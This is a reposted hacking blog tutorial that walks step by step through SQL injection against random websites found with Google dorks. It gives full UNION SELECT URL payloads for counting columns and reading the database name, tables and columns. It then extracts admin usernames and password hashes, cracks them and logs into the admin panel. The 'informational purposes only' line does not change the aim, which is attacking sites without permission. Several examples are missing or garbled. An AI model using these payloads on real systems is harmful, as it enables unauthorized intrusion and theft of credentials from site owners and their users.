I found an easy SQL injection tutorial that was published by in Cool Stuff, Hacking, Security.
If you are interesting here it goes:


Hi, this post covers all your basic SQL Injection needs. After reading this, you should be able to successfully retrieve Database information such as the username and password. This presentation is for informational purposes only!

Lets start.

What is SQL Injection?

is a code injection technique that exploits a security vulnerability occurring in the database layer of an application (like queries). The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.

Step 1: Choose Your Target

Of course, you can’t SQL Inject nothing. You must have a website as a target. Remember, only vulnerable sites are able to be injected into. You can’t just SQL Inject any site *sigh*.

So how do we see which sites are vulnerable? There are many lists of vulnerable sites out there. But if you wish to find them manually, read on.

Wtf is this? These are “Dorks” that you can use to find vulnerable sites. Go to Google and simply copy and paste one of those dorks and click search.

After you have Google’d the dorks, click on any site.

To check the site for vulnerability, simply add a ’ to the end of the URL . It should look somewhat like this:


If the page simply refreshes, the site is not vulnerable. But if an error of any kind pops up, the site is prone to SQLi. When you have successfully found a vulnerable site, proceed to Step 2.

Step 2: Find the Vulnerable Column

Now that we found our vulnerable site, we will need to find the vulnerable columns.

Add this to the end of the URL:

http://www.sitename.com/main.php?id=232 order by 1–

Now here’s where it gets tougher (not really). You have to look for errors as you enter new numbers. For example:

http://www.sitename.com/main.php?id=232 order by 1– (no error)

http://www.sitename.com/main.php?id=232order by 2– (no error)
http://www.sitename.com/main.php?id=232 order by 10– (ERROR!)
http://www.sitename.com/main.php?id=232 order by 5– (no error)
http://www.sitename.com/main.php?id=232 order by 6– (ERROR!)

The goal here is to find the least column the shows the error. As you can see in the example, the lowest column that we found an error on is column 6, therefore, column 6 doesn’t exist and there are only 5 columns.

Now we have to find which one of these five columns (it may be different in your case) is vulnerable, to do that, add this code to the end of the URL:

http://www.sitename.com/main.php?id=-232union select 1,2,3,4,5–

Make sure to include the – in the beginning and the — at the end, this is crucial. Remember that the code above may be different in your case regarding how many columns there are.

Now, if you see numbers on the screen. You can proceed. The very first number is the number of the vulnerable column. If the number is “4″ that means that the 4th column is the vulnerable column.

Step 3: Obtain Version Number and Database Name

That vulnerable column is the ONLY column that we will be editing.
Assuming that the vulnerable column is 4 (it may be different in your case), proceed to find the version number. To find the version number, replace the vulnerable column with “@@version” like this:

http://www.sitename.com/main.php?id=-232union select 1,2,3,@@version,5–

If the version is 5 or above, proceed. If not, it will be harder to hack. There are other tutorials covering how to hack database versions 4 or lower.

Now we must find the database name. To do this, replace the “@@version” from before with “concat(database())” like this:

http://www.sitename.com/main.php?id=-232union select 1,2,3,concat(database()),5–

And BOOM! The database name should appear on your screen. Copy this somewhere safe, we will need this for later.

Step 4: Obtain Table Names

Now we have to find the table names. This is crucial because the tables contain all of the information that we may need. Some hackers look for credit card information and e-mail addresses, but in this tutorial we will be looking to retrieve the username and password.
Edit the code as follows:

http://www.sitename.com/main.php?id=-232 union select 1,2,3,group_concat(table_name),5 from information_schema.tables where table_schema=database()–

Now, names appear. Look for obvious names hinting to tables where user information can be stored. You are looking for table names such as “Admin”, “Users”, “Members”, “Admin_Id”, Admin_pass”, “User_id”, etc..

The last character is chopped off? Don’t worry. Count how many tables you can see, then add this code based on the tables that you can see. We will be assuming that the last table you can see is the 8th table.

http://www.sitename.com/main.php?id=-232union select 1,2,3,table_name,5 from information_schema.tables where table_schema=database() limit 8,1–

This code is to view the 9th table. Replace the 8 with a 9 to view the 10th table, and so on until you find the table that you think has the most crucial information.When you find the table, copy the name somewhere safe. We will need both the database and table names for the next step.

For this tutorial, we will be using the table name of “admin”.

Step 5: View the Columns, and Find the Crucial S**t

To find the column names, add this to the end of the URL:

http://www.sitename.com/main.php?id=-232union select 1,2,3,group_concat(column_name),5 from information_schema.columns where table_name=”admin”-

Did you get an error? OH NO! YOU FAIL. Choose another site. Just kidding.
Go here and type in your table name where is says “Say Hello to My Little Friend”.

In my case, this is the string that I got after I inputted “admin” to the input space:


Now, replace the table name with hex as so:


http://www.sitename.com/main.php?id=-232union select 1,2,3,group_concat(column_name),5 from information_schema.columns where table_name=0x61646d696e–

Notice how I added the “0x”, that is to indicate that hex is being used. Remember to get rid of the quotes.

Now after you enter this code, you should see where all the juicy information is contained. An example of what you should see is:

Admin_Username, Admin_Pass, Admin_credentials, User_credentials, Members, etc..

Now say you want to view what is in the “Admin_Username” and the “Admin_pass”, add this code (in this example we will be using “database” as the database name and “admin” for the table name):


http://www.sitename.com/main.php?id=-232union select 1,2,3,group_concat(Admin_Username,0x3a,Admin_Pass),5 FROM database.admin–

The “0x3a” will put a colon to where the information will be separated. You should get something like this:


The username is “MyName” and the password is.. WAIT! That is MD5, crack this using md5decrypter.co.uk
Now as you can see. This is the login info:


Username: MyName
Pass: 123456

Now all you have to do is find the admin page, which is usually




or something similar. There are tools online that will find you the admin page.


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